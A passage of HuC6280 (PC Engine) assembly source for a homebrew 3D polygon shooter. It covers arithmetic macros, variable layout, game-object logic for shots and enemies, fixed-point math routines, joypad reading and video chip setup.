clc lda \1 adc \2 sta \1 lda \1+1 adc \2+1 sta \1+1 .endif .endif .endm ;---------------------------- addwb .macro ;\1(word) = \1(word) + \2(byte) clc lda \1 adc \2 sta \1 bcc .jp0\@ inc \1+1 .jp0\@ .endm ;---------------------------- subw .macro ;\1 = \2 - \3 ;\1 = \1 - \2 .if (\# = 3) .if (\?3 = 2);Immediate sec lda \2 sbc #LOW(\3) sta \1 lda \2+1 sbc #HIGH(\3) sta \1+1 .else .if (\?2 = 2);Immediate sec lda #LOW(\2) sbc \3 sta \1 lda #HIGH(\2) sbc \3+1 sta \1+1 .else sec lda \2 sbc \3 sta \1 lda \2+1 sbc \3+1 sta \1+1 .endif .endif .else .if (\?2 = 2);Immediate sec lda \1 sbc #LOW(\2) sta \1 lda \1+1 sbc #HIGH(\2) sta \1+1 .else sec lda \1 sbc \2 sta \1 lda \1+1 sbc \2+1 sta \1+1 .endif .endif .endm ;---------------------------- addq .macro ;\1 = \2 + \3 ;\1 = \1 + \2 .if (\# = 3) clc lda \2 adc \3 sta \1 lda \2+1 adc \3+1 sta \1+1 lda \2+2 adc \3+2 sta \1+2 lda \2+3 adc \3+3 sta \1+3 .else clc lda \1 adc \2 sta \1 lda \1+1 adc \2+1 sta \1+1 lda \1+2 adc \2+2 sta \1+2 lda \1+3 adc \2+3 sta \1+3 .endif .endm ;---------------------------- subq .macro ;\1 = \2 - \3 ;\1 = \1 - \2 .if (\# = 3) sec lda \2 sbc \3 sta \1 lda \2+1 sbc \3+1 sta \1+1 lda \2+2 sbc \3+2 sta \1+2 lda \2+3 sbc \3+3 sta \1+3 .else sec lda \1 sbc \2 sta \1 lda \1+1 sbc \2+1 sta \1+1 lda \1+2 sbc \2+2 sta \1+2 lda \1+3 sbc \2+3 sta \1+3 .endif .endm ;---------------------------- andm .macro ;\1 = \1 AND \2 lda \1 and \2 sta \1 .endm ;---------------------------- andmw .macro ;\1 = \1 AND \2 .if (\?2 = 2);Immediate lda \1 and #LOW(\2) sta \1 lda \1+1 and #HIGH(\2) sta \1+1 .else lda \1 and \2 sta \1 lda \1+1 and \2+1 sta \1+1 .endif .endm ;---------------------------- oram .macro ;\1 = \1 OR \2 lda \1 ora \2 sta \1 .endm ;---------------------------- oramw .macro ;\1 = \1 OR \2 .if (\?2 = 2);Immediate lda \1 ora #LOW(\2) sta \1 lda \1+1 ora #HIGH(\2) sta \1+1 .else lda \1 ora \2 sta \1 lda \1+1 ora \2+1 sta \1+1 .endif .endm ;---------------------------- eorm .macro ;\1 = \1 XOR \2 lda \1 eor \2 sta \1 .endm ;---------------------------- eormw .macro ;\1 = \1 XOR \2 .if (\?2 = 2);Immediate lda \1 eor #LOW(\2) sta \1 lda \1+1 eor #HIGH(\2) sta \1+1 .else lda \1 eor \2 sta \1 lda \1+1 eor \2+1 sta \1+1 .endif .endm ;---------------------------- mov .macro ;\1 = \2 lda \2 sta \1 .endm ;---------------------------- movw .macro ;\1 = \2 .if (\?2 = 2);Immediate lda #LOW(\2) sta \1 lda #HIGH(\2) sta \1+1 .else lda \2 sta \1 lda \2+1 sta \1+1 .endif .endm ;---------------------------- movq .macro ;\1 = \2 ;\1 = \2:\3 .if (\?2 = 2);Immediate lda #LOW(\3) sta \1 lda #HIGH(\3) sta \1+1 lda #LOW(\2) sta \1+2 lda #HIGH(\2) sta \1+3 .else lda \2 sta \1 lda \2+1 sta \1+1 lda \2+2 sta \1+2 lda \2+3 sta \1+3 .endif .endm ;---------------------------- stzw .macro ;\1 = 0 stz \1 stz \1+1 .endm ;---------------------------- stzq .macro ;\1 = 0 stz \1 stz \1+1 stz \1+2 stz \1+3 .endm ;---------------------------- cmpw2 .macro ;\1 - \2 .if (\?2 = 2);Immediate sec lda \1 sbc #LOW(\2) lda \1+1 sbc #HIGH(\2) .else sec lda \1 sbc \2 lda \1+1 sbc \2+1 .endif .endm ;---------------------------- cmpw .macro ;\1 - \2 .if (\?2 = 2);Immediate lda \1+1 cmp #HIGH(\2) bne .jp0\@ lda \1 cmp #LOW(\2) .else lda \1+1 cmp \2+1 bne .jp0\@ lda \1 cmp \2 .endif bcs .jp0\@ lda #$80 .jp0\@ .endm ;---------------------------- cmpq2 .macro ;\1 - \2 ;\1 - \2:\3 .if (\?2 = 2);Immediate sec lda \1 sbc #LOW(\3) lda \1+1 sbc #HIGH(\3) lda \1+2 sbc #LOW(\2) lda \1+3 sbc #HIGH(\2) .else sec lda \1 sbc \2 lda \1+1 sbc \2+1 lda \1+2 sbc \2+2 lda \1+3 sbc \2+3 .endif .endm ;////////////////////////////////// .zp ;********************************** .org $2000 ;--------------------- mul16a div16a .ds 2 mul16b div16b .ds 2 mul16c div16c .ds 2 mul16d div16d .ds 2 muladdr .ds 2 div16ans sqrt64a .ds 8 sqrt64ans sqrt64b .ds 8 mulbank .ds 1 ;--------------------- ;LDRU RSBA padlast .ds 1 padnow .ds 1 padstate .ds 1 ;--------------------- puthexaddr .ds 2 puthexdata .ds 1 ;--------------------- randomseed .ds 2 ;--------------------- vsyncFlag .ds 1 vdp1Status .ds 1 vdp2Status .ds 1 selectVdc .ds 1 ;--------------------- vertexCount .ds 1 vertexCountWork .ds 1 vertex0Addr .ds 2 vertex1Addr .ds 2 vertexWork .ds 4 ;--------------------- clip2D0Count .ds 1 clip2D1Count .ds 1 clip2DFlag .ds 1 clip2D0LastIndex .ds 1 ;--------------------- circleX edgeX0 .ds 1 edgeY0 .ds 1 circleY edgeX1 .ds 1 edgeY1 .ds 1 circleD edgeSlopeX .ds 1 edgeSlopeY .ds 1 circleDH edgeSigneX .ds 1 .ds 1 circleDD .ds 2 circleTmp .ds 1 circleRadius .ds 2 circleCenterX .ds 2 circleCenterY .ds 2 circleYTop circleXLeft .ds 2 circleYBottom circleXRight .ds 2 circleYWork .ds 2 ;--------------------- minEdgeY .ds 1 ;--------------------- polyLineX0 .ds 1 polyLineX1 .ds 1 polyLineY .ds 1 polyLineLeftAddr .ds 2 polyLineRightAddr .ds 2 polyLineLeftData .ds 1 polyLineLeftMask .ds 1 polyLineRightData .ds 1 polyLineRightMask .ds 1 polyLineDataLow .ds 1 polyLineDataHigh .ds 1 polyLineColorNo .ds 1 polyLineColorDataWork .ds 1 polyLineColorDataWork0 .ds 1 polyLineColorDataWork1 .ds 1 polyLineColorDataWork2 .ds 1 polyLineColorDataWork3 .ds 1 polyLineYAddr .ds 2 polyLineCount .ds 1 ;--------------------- polyBufferAddr .ds 2 polyBufferZ0Work0 .ds 2 polyBufferZ0Work1 .ds 2 polyBufferNow .ds 2 polyBufferNext .ds 2 frontClipFlag .ds 1 frontClipCount .ds 1 frontClipData0 .ds 1 frontClipData1 .ds 1 frontClipDataWork .ds 1 clipFrontX .ds 2 clipFrontY .ds 2 polyBufferAddrWork0 .ds 1 polyBufferAddrWork1 .ds 1 polyBufferAddrWork2 .ds 1 ;--------------------- modelAddr .ds 2 modelAddrWork .ds 2 modelPolygonCount .ds 1 setModelCount .ds 1 setModelCountWork .ds 1 setModelFrontColor .ds 1 setModelBackColor .ds 1 setModelColorY .ds 1 setModelAttr .ds 1 model2DClipIndexWork .ds 1 ;--------------------- setBatWork .ds 2 ;--------------------- centerX .ds 2 centerY .ds 2 ;--------------------- translationX .ds 2 translationY .ds 2 translationZ .ds 2 ;--------------------- rotationX .ds 1 rotationY .ds 1 rotationZ .ds 1 rotationSelect .ds 1 vertexRotationSin .ds 2 vertexRotationCos .ds 2 ;--------------------- eyeTranslationX .ds 2 eyeTranslationY .ds 2 eyeTranslationZ .ds 2 eyeRotationX .ds 1 eyeRotationY .ds 1 eyeRotationZ .ds 1 eyeRotationSelect .ds 1 .bss ;********************************** .org $2100 ;********************************** .org $2200 ;--------------------- frameCount .ds 1 drawCount .ds 1 drawCountWork .ds 1 ;--------------------- shipX .ds 2 shipY .ds 2 shipZ .ds 2 ;--------------------- shotMAX .equ 4 shotState .ds 2*shotMAX shotX .ds 2*shotMAX shotY .ds 2*shotMAX shotZ .ds 2*shotMAX ;--------------------- enemyShotMAX .equ 16 enemyShotState .ds 4*enemyShotMAX enemyShotX .ds 4*enemyShotMAX enemyShotY .ds 4*enemyShotMAX enemyShotZ .ds 4*enemyShotMAX enemyShotMoveX .ds 4*enemyShotMAX enemyShotMoveY .ds 4*enemyShotMAX enemyShotMoveZ .ds 4*enemyShotMAX ;--------------------- enemyMAX .equ 4 enemyState .ds 2*enemyMAX enemyX .ds 2*enemyMAX enemyY .ds 2*enemyMAX enemyZ .ds 2*enemyMAX enemyTimer .ds 1 ;--------------------- objectMAX .equ 4 objectState .ds 2*objectMAX objectX .ds 2*objectMAX objectY .ds 2*objectMAX objectZ .ds 2*objectMAX objectTimer .ds 1 ;--------------------- checkHitWork .ds 2 ;--------------------- angleX0 .ds 2 angleX1 .ds 2 angleY0 .ds 2 angleY1 .ds 2 angleZ0 .ds 2 angleZ1 .ds 2 ansAngleX .ds 1 ansAngleY .ds 1 ;--------------------- matrix0 .ds 2*3*3 matrix1 .ds 2*3*3 matrix2 .ds 2*3*3 ;--------------------- eyeMatrix .ds 2*3*3 ;--------------------- transform2DWork0 .ds 256 transform2DWork1 .ds 256 ;--------------------- clip2D0 .ds (8+1)*4 clip2D1 .ds (8+1)*4 ;--------------------- polyLineColorData0 .ds 32*2 polyLineColorData1 .ds 32*2 polyLineColorData2 .ds 32*2 polyLineColorData3 .ds 32*2 ;--------------------- edgeLeft .ds 192 edgeRight .ds 192 edgeCount .ds 192 .ds 1 ;--------------------- polyBufferStart .ds 6 polyBufferEnd .ds 6 polyBuffer .ds 1024*3 ;NEXT ADDR 2Byte ;SAMPLE Z 2Byte ;COLOR 1Byte + $80 CIRCLE ;COUNT 1Byte : CIRCLE RADIUS : $00 DATA END ;X0 Y0 2Byte ;X1 Y1 2Byte ;X2 Y2 2Byte ;X3 Y3 2Byte ;X4 Y4 2Byte ;X5 Y5 2Byte ;X6 Y6 2Byte ;X7 Y7 2Byte ;X8 Y8 2Byte ;////////////////////////////////// .code .bank 0 ;********************************** .org $E000 main: ;initialize VDC jsr initializeVdc ;initialize pad jsr initializePad ;set poly proc bank lda #$01 tam #$05 lda #$02 tam #$06 jsr setBAT tii polyLineColor0, polyLineColorData0, 32*2 tii polyLineColor1, polyLineColorData1, 32*2 tii polyLineColor2, polyLineColorData2, 32*2 tii polyLineColor3, polyLineColorData3, 32*2 ;initialize datas lda #128 sta <centerX lda #96 sta <centerY jsr initScreenVsync ;vsync interrupt start cli lda #60 sta frameCount stz drawCount stz drawCountWork stzw shipX stzw shipY stzw shipZ jsr initRandom jsr getRandom and #$07 ora #$08 sta enemyTimer jsr getRandom and #$07 ora #$08 sta objectTimer jsr initializeEnemy jsr initializeEnemyShot jsr initializeShot jsr initializeObject .mainLoop3: jsr waitScreenVsync ;check pad ;pad up bbr4 <padnow, .checkPadDown clc lda shipY adc #$80 sta shipY lda shipY+1 adc #$00 sta shipY+1 .checkPadDown: ;pad down bbr6 <padnow, .checkPadLeft sec lda shipY sbc #$80 sta shipY lda shipY+1 sbc #$00 sta shipY+1 .checkPadLeft: ;pad left bbr7 <padnow, .checkPadRight sec lda shipX sbc #$80 sta shipX lda shipX+1 sbc #$00 sta shipX+1 .checkPadRight: ;pad right bbr5 <padnow, .checkPadEnd clc lda shipX adc #$80 sta shipX lda shipX+1 adc #$00 sta shipX+1 .checkPadEnd: movw <eyeTranslationX, shipX movw <eyeTranslationY, shipY movw <eyeTranslationZ, shipZ mov <eyeRotationX, #0 mov <eyeRotationY, #0 mov <eyeRotationZ, #0 mov <eyeRotationSelect, #$12 ;initialize buffer jsr initializePolyBuffer jsr moveEnemy jsr moveEnemyShot jsr moveShot jsr moveObject dec enemyTimer bne .setEnemyJp jsr setEnemy jsr getRandom and #$0F ora #$10 sta enemyTimer .setEnemyJp: bbr0 <padnow, .checkShotEnd jsr setShot .checkShotEnd: dec objectTimer bne .setObjectJp jsr setObject jsr getRandom and #$07 ora #$08 sta objectTimer .setObjectJp: jsr checkHitShotEnemy jsr setEnemyModel jsr setEnemyShotModel jsr setShotModel jsr setObjectModel ;put polygon jsr putPolyBuffer inc drawCountWork ldx #0 ldy #24 lda drawCount sei jsr puthex2 cli jsr setScreenVsyncFlag ;jump mainloop jmp .mainLoop3 ;---------------------------- checkHitShotEnemy: ; clx .loop0: lda shotState, x jmi .nextShot cly .loop1: lda enemyState, y jmi .nextEnemy jne .nextEnemy sec lda enemyX, y sbc shotX, x sta checkHitWork lda enemyX+1, y sbc shotX+1, x sta checkHitWork+1 cmpw2 checkHitWork, #-256-128 jmi .nextEnemy cmpw2 checkHitWork, #256+128 bpl .nextEnemy sec lda enemyY, y sbc shotY, x sta checkHitWork lda enemyY+1, y sbc shotY+1, x sta checkHitWork+1 cmpw2 checkHitWork, #-256-128 bmi .nextEnemy cmpw2 checkHitWork, #256+128 bpl .nextEnemy sec lda enemyZ, y sbc shotZ, x sta checkHitWork lda enemyZ+1, y sbc shotZ+1, x sta checkHitWork+1 cmpw2 checkHitWork, #-256-128 bmi .nextEnemy cmpw2 checkHitWork, #256+128 bpl .nextEnemy lda #$FF sta shotState, x lda #$10 sta enemyState, y sta enemyState+1, y bra .nextShot .nextEnemy: iny iny cpy #enemyMAX*2 jne .loop1 .nextShot: inx inx cpx #shotMAX*2 jne .loop0 rts ;---------------------------- initializeEnemyShot: ; clx .loop: lda #$FF sta enemyShotState, x lda intTable+4, x tax cpx #enemyShotMAX*4 bne .loop rts ;---------------------------- setEnemyShot: ; cly .loop: lda enemyShotState, y jpl .jp0 lda #$00 sta enemyShotState, y lda enemyX, x sta angleX0 lda enemyX+1, x sta angleX0+1 lda enemyY, x sta angleY0 lda enemyY+1, x sta angleY0+1 lda enemyZ, x sta angleZ0 lda enemyZ+1, x sta angleZ0+1 movw angleX1, shipX movw angleY1, shipY movw angleZ1, shipZ jsr getAngle phx movw transform2DWork0, #$0000 movw transform2DWork0+2, #$0000 movw transform2DWork0+4, #$0100 mov vertexCount, #1 ldx ansAngleX jsr vertexRotationX mov vertexCount, #1 ldx ansAngleY jsr vertexRotationY plx lda #$00 sta enemyShotX, y lda #$00 sta enemyShotX+1, y lda enemyX, x sta enemyShotX+2, y lda enemyX+1, x sta enemyShotX+3, y lda #$00 sta enemyShotY, y lda #$00 sta enemyShotY+1, y lda enemyY, x sta enemyShotY+2, y lda enemyY+1, x sta enemyShotY+3, y lda #$00 sta enemyShotZ, y lda #$00 sta enemyShotZ+1, y lda enemyZ, x sta enemyShotZ+2, y lda enemyZ+1, x sta enemyShotZ+3, y lda #$00 sta enemyShotMoveX, y lda #$00 sta enemyShotMoveX+1, y lda transform2DWork0 sta enemyShotMoveX+2, y lda transform2DWork0+1 sta enemyShotMoveX+3, y lda #$00 sta enemyShotMoveY, y lda #$00 sta enemyShotMoveY+1, y lda transform2DWork0+2 sta enemyShotMoveY+2, y lda transform2DWork0+3 sta enemyShotMoveY+3, y lda #$00 sta enemyShotMoveZ, y lda #$00 sta enemyShotMoveZ+1, y lda transform2DWork0+4 sta enemyShotMoveZ+2, y lda transform2DWork0+5 sta enemyShotMoveZ+3, y bra .jp1 .jp0: lda intTable+4, y tay cpy #enemyShotMAX*4 jne .loop .jp1: rts ;---------------------------- moveEnemyShot: ; clx .loop: lda enemyShotState, x bmi .jp0 clc lda enemyShotX, x adc enemyShotMoveX, x sta enemyShotX, x lda enemyShotX+1, x adc enemyShotMoveX+1, x sta enemyShotX+1, x lda enemyShotX+2, x adc enemyShotMoveX+2, x sta enemyShotX+2, x lda enemyShotX+3, x adc enemyShotMoveX+3, x sta enemyShotX+3, x clc lda enemyShotY, x adc enemyShotMoveY, x sta enemyShotY, x lda enemyShotY+1, x adc enemyShotMoveY+1, x sta enemyShotY+1, x lda enemyShotY+2, x adc enemyShotMoveY+2, x sta enemyShotY+2, x lda enemyShotY+3, x adc enemyShotMoveY+3, x sta enemyShotY+3, x clc lda enemyShotZ, x adc enemyShotMoveZ, x sta enemyShotZ, x lda enemyShotZ+1, x adc enemyShotMoveZ+1, x sta enemyShotZ+1, x lda enemyShotZ+2, x adc enemyShotMoveZ+2, x sta enemyShotZ+2, x lda enemyShotZ+3, x adc enemyShotMoveZ+3, x sta enemyShotZ+3, x bpl .jp0 lda #$FF sta enemyShotState, x .jp0: lda intTable+4, x tax cpx #enemyShotMAX*4 jne .loop rts ;---------------------------- setEnemyShotModel: ; clx .loop: lda enemyShotState, x jmi .jp0 lda enemyShotX+2, x sta <translationX lda enemyShotX+3, x sta <translationX+1 lda enemyShotY+2, x sta <translationY lda enemyShotY+3, x sta <translationY+1 lda enemyShotZ+2, x sta <translationZ lda enemyShotZ+3, x sta <translationZ+1 mov <rotationX, #0 mov <rotationY, #0 mov <rotationZ, #0 mov <rotationSelect, #$12 movw <modelAddr, #modelData003 phx jsr setModel2 plx .jp0: lda intTable+4, x tax cpx #enemyShotMAX*4 jne .loop rts ;---------------------------- initializeEnemy: ; lda #$FF clx .loop: sta enemyState, x inx inx cpx #enemyMAX*2 bne .loop rts ;---------------------------- setEnemy: ; clx .loop: lda enemyState, x bpl .jp0 stz enemyState, x stz enemyState+1, x jsr getRandom sta enemyX, x jsr getRandom bmi .jpXmi and #$03 bra .jpX .jpXmi: ora #$FC .jpX: sta enemyX+1, x clc lda enemyX, x adc shipX sta enemyX, x lda enemyX+1, x adc shipX+1 sta enemyX+1, x jsr getRandom sta enemyY, x jsr getRandom bmi .jpYmi and #$03 bra .jpY .jpYmi: ora #$FC .jpY: sta enemyY+1, x clc lda enemyY, x adc shipY sta enemyY, x lda enemyY+1, x adc shipY+1 sta enemyY+1, x lda #$00 sta enemyZ, x lda #$20 sta enemyZ+1, x sec bra .jp1 .jp0: inx inx cpx #enemyMAX*2 bne .loop .jp1: rts ;---------------------------- moveEnemy: ; clx .loop: dec enemyState+1, x lda enemyState, x bmi .jp0 bne .jp1 sec lda enemyZ, x sbc #$40 sta enemyZ, x lda enemyZ+1, x sbc #$00 sta enemyZ+1, x bpl .jp2 lda #$FF sta enemyState, x bra .jp0 .jp2: lda enemyState+1, x and #$0F bne .jp0 sec lda enemyZ, x sbc #$00 lda enemyZ+1, x sbc #$10 bmi .jp0 jsr setEnemyShot bra .jp0 .jp1: lda enemyState+1, x bne .jp0 lda #$FF sta enemyState, x .jp0: inx inx cpx #enemyMAX*2 bne .loop rts ;---------------------------- setEnemyModel: ; clx .loop: lda enemyState, x jmi .jp0 lda enemyX, x sta <translationX lda enemyX+1, x sta <translationX+1 lda enemyY, x sta <translationY lda enemyY+1, x sta <translationY+1 lda enemyZ, x sta <translationZ lda enemyZ+1, x sta <translationZ+1 mov <rotationX, #0 mov <rotationY, #128 mov <rotationZ, #0 mov <rotationSelect, #$12 lda enemyState, x bne .jp01 movw <modelAddr, #modelData001 bra .jp99 .jp01: lda enemyState+1, x cmp #8 bcc .jp02 movw <modelAddr, #modelData004 bra .jp99 .jp02: cmp #4 bcc .jp03 movw <modelAddr, #modelData005 bra .jp99 .jp03: movw <modelAddr, #modelData006 .jp99: phx jsr setModel2 plx .jp0: inx inx cpx #enemyMAX*2 jne .loop rts ;---------------------------- initializeObject: ; lda #$FF clx .loop: sta objectState, x inx inx cpx #objectMAX*2 bne .loop rts ;---------------------------- setObject: ; clx .loop: lda objectState, x bpl .jp0 stz objectState, x jsr getRandom sta objectX, x jsr getRandom bmi .jpXmi and #$03 bra .jpX .jpXmi: ora #$FC .jpX: sta objectX+1, x clc lda objectX, x adc shipX sta objectX, x lda objectX+1, x adc shipX+1 sta objectX+1, x jsr getRandom sta objectY, x jsr getRandom bmi .jpYmi and #$03 bra .jpY .jpYmi: ora #$FC .jpY: sta objectY+1, x clc lda objectY, x adc shipY sta objectY, x lda objectY+1, x adc shipY+1 sta objectY+1, x lda #$00 sta objectZ, x lda #$20 sta objectZ+1, x sec bra .jp1 .jp0: inx inx cpx #objectMAX*2 bne .loop .jp1: rts ;---------------------------- moveObject: ; clx .loop: lda objectState, x bmi .jp0 sec lda objectZ, x sbc #$80 sta objectZ, x lda objectZ+1, x sbc #$00 sta objectZ+1, x bpl .jp0 lda #$FF sta objectState, x .jp0: inx inx cpx #objectMAX*2 bne .loop rts ;---------------------------- setObjectModel: ; clx .loop: lda objectState, x bmi .jp0 lda objectX, x sta <translationX lda objectX+1, x sta <translationX+1 lda objectY, x sta <translationY lda objectY+1, x sta <translationY+1 lda objectZ, x sta <translationZ lda objectZ+1, x sta <translationZ+1 mov <rotationX, #0 mov <rotationY, #0 mov <rotationZ, #0 mov <rotationSelect, #$12 movw <modelAddr, #modelData002 phx jsr setModel2 plx .jp0: inx inx cpx #objectMAX*2 bne .loop rts ;---------------------------- initializeShot: ; lda #$FF clx .loop: sta shotState, x inx inx cpx #shotMAX*2 bne .loop rts ;---------------------------- setShot: ; clx .loop: lda shotState, x bpl .jp0 stz shotState, x lda shipX sta shotX, x lda shipX+1 sta shotX+1, x lda shipY sta shotY, x lda shipY+1 sta shotY+1, x lda shipZ sta shotZ, x lda shipZ+1 sta shotZ+1, x bra .jp1 .jp0: inx inx cpx #shotMAX*2 bne .loop .jp1: rts ;---------------------------- moveShot: ; clx .loop: lda shotState, x bmi .jp0 clc lda shotZ+1, x adc #4 sta shotZ+1, x cmp #$20 bmi .jp0 lda #$FF sta shotState, x .jp0: inx inx cpx #shotMAX*2 bne .loop rts ;---------------------------- setShotModel: ; clx .loop: lda shotState, x bmi .jp0 lda shotX, x sta <translationX lda shotX+1, x sta <translationX+1 lda shotY, x sta <translationY lda shotY+1, x sta <translationY+1 lda shotZ, x sta <translationZ lda shotZ+1, x sta <translationZ+1 mov <rotationX, #0 mov <rotationY, #0 mov <rotationZ, #0 mov <rotationSelect, #$12 movw <modelAddr, #modelData000 phx jsr setModel2 plx .jp0: inx inx cpx #shotMAX*2 bne .loop rts ;---------------------------- signExt: ;a(sign extension) = a bpl .convPositive lda #$FF bra .convEnd .convPositive: cla .convEnd: rts ;---------------------------- getAngle: ; phx phy subw <mul16a, angleZ1, angleZ0 subw <mul16b, angleX1, angleX0 jsr atan tax eor #$FF inc a sta ansAngleY subw transform2DWork0, angleX1, angleX0 subw transform2DWork0+2, angleY1, angleY0 subw transform2DWork0+4, angleZ1, angleZ0 mov vertexCount, #1 jsr vertexRotationY movw <mul16a, transform2DWork0+4 movw <mul16b, transform2DWork0+2 jsr atan sta ansAngleX ply plx rts ;---------------------------- initializeVdc: ; ;reset wait cly .resetWaitloop0: clx .resetWaitloop1: dex bne .resetWaitloop1 dey bne .resetWaitloop0 ;set vdc vdcdataloop: lda vdcData, y cmp #$FF beq vdcdataend sta VDC1_0 sta VDC2_0 iny lda vdcData, y sta VDC1_2 sta VDC2_2 iny lda vdcData, y sta VDC1_3 sta VDC2_3 iny bra vdcdataloop vdcdataend: ;262Line VCE Clock 5MHz movw VCE_0, #$0004 ;set palette stzw VCE_2 tia paletteData, VCE_4, $20*32 ;CHAR set to vram lda #chardatBank tam #$06 ;vram address $1000 mov VDC1_0, #$00 movw VDC1_2, #$1000 mov VDC1_0, #$02 tia $C000, VDC1_2, $2000 mov VDC2_0, #$00 movw VDC2_2, #$1000 mov VDC2_0, #$02 tia $C000, VDC2_2, $2000 ;vsync ;+1 mov VDC1_0, #$05 movw VDC1_2, #$0008 .resetWait: tst #$20, VDC1_0 beq .resetWait rts ;---------------------------- puthex2: ; pha phx phy sta <puthexdata stz <puthexaddr sty <puthexaddr+1 lsr <puthexaddr+1 ror <puthexaddr lsr <puthexaddr+1 ror <puthexaddr lsr <puthexaddr+1 ror <puthexaddr txa ora <puthexaddr sta <puthexaddr lda <puthexdata lsr a lsr a lsr a lsr a jsr numtochar tax lda <puthexdata and #$0F jsr numtochar tay lda <selectVdc cmp #VDC2 beq .vdc_2 mov VDC1_0, #$00 movw VDC1_2, <puthexaddr mov VDC1_0, #$02 stx VDC1_2 mov VDC1_3, #$01 addw <puthexaddr, #1 mov VDC1_0, #$00 movw VDC1_2, <puthexaddr mov VDC1_0, #$02 sty VDC1_2 mov VDC1_3, #$01 bra .puthexEnd .vdc_2: mov VDC2_0, #$00 movw VDC2_2, <puthexaddr mov VDC2_0, #$02 stx VDC2_2 mov VDC2_3, #$01 addw <puthexaddr, #1 mov VDC2_0, #$00 movw VDC2_2, <puthexaddr mov VDC2_0, #$02 sty VDC2_2 mov VDC2_3, #$01 .puthexEnd: ply plx pla rts ;---------------------------- sdiv32: ;div16d:div16c / div16a = div16a div16b ;push x phx ;push y phy ;d sign lda <div16d+1 pha ;d eor a sign eor <div16a+1 pha ;d sign bbr7 <div16d+1, .sdiv16jp00 ;d neg sec cla sbc <mul16c sta <mul16c cla sbc <mul16c+1 sta <mul16c+1 cla sbc <mul16d sta <mul16d cla sbc <mul16d+1 sta <mul16d+1 .sdiv16jp00: ;a sign bbr7 <div16a+1, .sdiv16jp01 ;a neg sec cla sbc <mul16a sta <mul16a cla sbc <mul16a+1 sta <mul16a+1 .sdiv16jp01: jsr udiv32 ;anser sign pla bpl .sdiv16jp02 ;anser neg sec cla sbc <mul16c sta <mul16a cla sbc <mul16c+1 sta <mul16a+1 bra .sdiv16jp04 .sdiv16jp02: lda <div16c sta <div16a lda <div16c+1 sta <div16a+1 .sdiv16jp04: ;remainder sign pla bpl .sdiv16jp03 ;remainder neg sec cla sbc <mul16b sta <mul16b cla sbc <mul16b+1 sta <mul16b+1 .sdiv16jp03: ;pull y ply ;pull x plx rts ;---------------------------- udiv32: ;div16a div16b = div16d:div16c / div16a ;push x phx ;dec div16a lda <div16a bne .jp00 dec <div16a+1 .jp00: dec <div16a ldx #$10 asl <div16c rol <div16c+1 .jpPl00: ;div16d rol <div16d rol <div16d+1 lda <div16d sbc <div16a sta <div16d lda <div16d+1 sbc <div16a+1 sta <div16d+1 bcc .jpMi01 .jpPl01: rol <div16c rol <div16c+1 dex bne .jpPl00 lda <div16c sta <div16a lda <div16c+1 sta <div16a+1 lda <div16d sta <div16b lda <div16d+1 sta <div16b+1 ;pull x plx rts .jpMi00: ;div16d rol <div16d rol <div16d+1 lda <div16d adc <div16a sta <div16d lda <div16d+1 adc <div16a+1 sta <div16d+1 bcs .jpPl01 .jpMi01: rol <div16c rol <div16c+1 dex bne .jpMi00 sec lda <div16d adc <div16a sta <div16b lda <div16d+1 adc <div16a+1 sta <div16b+1 lda <div16c sta <div16a lda <div16c+1 sta <div16a+1 ;pull x plx rts ;---------------------------- smul16: ;mul16d:mul16c = mul16a * mul16b ;a eor b sign lda <mul16a+1 eor <mul16b+1 pha ;a sign bbr7 <mul16a+1, .smul16jp00 ;a neg sec cla sbc <mul16a sta <mul16a cla sbc <mul16a+1 sta <mul16a+1 .smul16jp00: ;b sign bbr7 <mul16b+1, .smul16jp01 ;b neg sec cla sbc <mul16b sta <mul16b cla sbc <mul16b+1 sta <mul16b+1 .smul16jp01: jsr umul16 ;anser sign pla bpl .smul16jp02 ;anser neg sec cla sbc <mul16c sta <mul16c cla sbc <mul16c+1 sta <mul16c+1 cla sbc <mul16d sta <mul16d cla sbc <mul16d+1 sta <mul16d+1 .smul16jp02: rts ;---------------------------- umul16: ;mul16d:mul16c = mul16a * mul16b ;push x y phy ldy <mul16b lda mul2bankdata, y tam #$02 lda mul2addrdata, y stz <muladdr sta <muladdr+1 ldy <mul16a lda [muladdr], y sta <mul16c ldy <mul16a+1 lda [muladdr], y sta <mul16c+1 inc <muladdr+1 clc ldy <mul16a lda [muladdr], y adc <mul16c+1 sta <mul16c+1 ldy <mul16a+1 lda [muladdr], y adc #0 sta <mul16d ldy <mul16b+1 lda mul2bankdata, y tam #$02 lda mul2addrdata, y sta <muladdr+1 ldy <mul16a lda [muladdr], y adc <mul16c+1 sta <mul16c+1 ldy <mul16a+1 lda [muladdr], y adc <mul16d sta <mul16d cla adc #0 sta <mul16d+1 inc <muladdr+1 ldy <mul16a lda [muladdr], y adc <mul16d sta <mul16d ldy <mul16a+1 lda [muladdr], y adc <mul16d+1 sta <mul16d+1 ;pull y x ply rts ;---------------------------- initializePad: ; stz <padlast stz <padnow stz <padstate rts ;---------------------------- getpaddata: ; lda <padnow sta <padlast lda #$01 sta IO_REG lda #$03 sta IO_REG lda #$01 sta IO_REG lda IO_REG asl a asl a asl a asl a sta <padnow lda #$00 sta IO_REG lda IO_REG and #$0F ora <padnow eor #$FF sta <padnow lda <padlast eor #$FF and <padnow sta <padstate ;get pad data end rts ;---------------------------- initRandom: ; lda #$C0 sta randomseed sta randomseed+1 rts ;---------------------------- getRandom: ; lda randomseed+1 lsr a rol randomseed bcc .getrandomJump eor #$B4 .getrandomJump: sta randomseed+1 eor randomseed rts ;---------------------------- numtochar: ;in A Register $0 to $F ;out A Register '0'-'9'($30-$39) 'A'-'Z'($41-$5A) cmp #10 bcs .numtochar000 ora #$30 rts .numtochar000: adc #$41-10-1 rts ;---------------------------- puthex: ; pha phx phy sta <puthexdata stz <puthexaddr sty <puthexaddr+1 lsr <puthexaddr+1 ror <puthexaddr lsr <puthexaddr+1 ror <puthexaddr lsr <puthexaddr+1 ror <puthexaddr txa ora <puthexaddr sta <puthexaddr lda <puthexdata lsr a lsr a lsr a lsr a jsr numtochar tax lda <puthexdata and #$0F jsr numtochar stz VDC_0 ldy <puthexaddr sty VDC_2 ldy <puthexaddr+1 sty VDC_3 ldy #$02 sty VDC_0 stx VDC_2 ldy #$01 sty VDC_3 sta VDC_2 sty VDC_3 ply plx pla rts ;---------------------------- _irq1: ;IRQ1 interrupt process ;ACK interrupt pha phx phy lda VDC1_0 sta <vdp1Status lda VDC2_0 sta <vdp2Status bbs7 <vsyncFlag, .vsyncProc jmp .vsyncProcEnd .vsyncProc: lda <selectVdc cmp #VDC2 beq .vdc2Jp ;+32 bg sp vsync mov VDC1_0, #$05 